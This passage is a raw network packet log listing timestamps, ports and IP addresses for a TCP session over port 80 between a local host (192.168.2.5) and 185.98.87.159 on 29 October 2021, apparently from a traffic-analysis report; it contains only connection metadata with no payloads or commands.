Oct 29, 2021 20:10:51.574201107 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574217081 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574233055 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574248075 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574263096 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574273109 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.574325085 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.625654936 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625682116 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625694036 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625705957 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625742912 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625838041 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625855923 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625866890 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625879049 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625896931 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625909090 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625926018 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625941038 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625958920 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625971079 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625983000 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625999928 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.626012087 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.626024008 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.626040936 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.625839949 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626111984 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626135111 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626141071 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626220942 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626235008 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626243114 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626282930 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.626290083 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.677736998 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.677767038 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.677783966 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.677798033 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.677809954 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.677897930 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678108931 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678126097 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678138971 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678155899 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678173065 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678211927 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678215027 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678275108 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678291082 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678307056 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678323984 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678353071 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678448915 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678464890 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678509951 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678561926 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678595066 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678611040 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678627014 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678636074 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678642035 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678659916 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678667068 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678675890 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678693056 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678699970 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678734064 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678853989 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678870916 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678886890 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678901911 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.678901911 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.678952932 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.679003000 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.679018974 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.679064035 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.679075003 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.679091930 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.679135084 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.731662035 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731688023 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731705904 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731722116 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731738091 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731753111 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731815100 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731831074 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731848955 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731863976 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.731865883 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.731901884 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732017994 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732114077 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732131958 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732147932 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732163906 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732178926 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732194901 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732211113 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732228994 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732243061 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732259035 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732259989 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732276917 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732292891 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732362986 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732374907 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732386112 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732398033 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732403040 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732531071 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732548952 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732594967 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732610941 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732611895 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732662916 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732717037 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.732886076 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.732897997 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.783902884 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.783932924 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.783947945 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.783965111 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.783983946 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.783999920 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784018040 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784015894 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784035921 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784056902 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784082890 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784109116 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784280062 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784300089 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784331083 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784343004 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784410954 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784586906 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784606934 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784622908 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784637928 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784676075 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784707069 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784835100 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784871101 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784887075 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784902096 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784918070 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784934044 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784945011 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784951925 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784966946 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.784970045 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784986019 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.784996033 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.785005093 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.785023928 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.785054922 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.785164118 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.785180092 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.785196066 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.785212994 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.785285950 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.785378933 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836155891 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836184025 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836201906 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836218119 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836234093 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836250067 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836251974 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836266994 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836297035 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836314917 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836327076 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836333990 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836342096 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836349964 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836400986 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836404085 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836421967 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836437941 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836451054 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836481094 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836529970 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836545944 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836561918 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836577892 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836601019 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836611986 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836659908 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836677074 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836704016 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836719990 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836730957 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836807966 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836826086 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836841106 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836860895 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836888075 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836899042 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836905003 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836921930 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836935043 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836937904 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836957932 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836968899 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.836975098 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836992025 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.836997032 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.837009907 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837025881 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837040901 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.837071896 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.837141037 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837157965 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837173939 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837189913 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.837210894 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.837234020 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888396025 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888423920 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888437033 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888453007 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888470888 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888488054 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888504028 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888520956 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888536930 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888552904 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888570070 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888581991 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888595104 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888611078 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888629913 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888647079 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888659000 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888675928 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888710976 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888731956 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888772011 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888776064 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888827085 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888844967 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888854027 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888859034 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888900995 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888919115 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888931036 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888943911 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.888947010 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.888978004 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889039993 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889056921 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889062881 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889070034 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889090061 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889101028 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889128923 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889141083 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889158010 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889174938 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889190912 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889198065 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889208078 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889221907 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889225006 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889242887 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.889261961 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.889288902 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.940793991 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940826893 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940859079 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940885067 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940903902 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940912008 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.940922976 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940939903 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940958977 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.940959930 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940982103 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.940989971 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.940999985 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941014051 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941020012 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941037893 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941050053 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941056013 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941076040 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941085100 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941093922 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941112041 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941129923 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941138029 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941148043 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941165924 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941174984 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941185951 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941195965 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941205025 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941224098 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941236019 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941242933 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941262007 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941270113 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941282988 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941301107 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941323996 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941324949 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941339016 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941345930 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941365004 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941382885 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941400051 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941401005 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941421032 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941425085 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941440105 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941483021 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941495895 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941514015 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941531897 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941560984 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941585064 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941615105 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941632986 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941674948 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941715956 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941734076 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941734076 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941754103 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941770077 CEST	49822	80	192.168.2.5	185.98.87.159
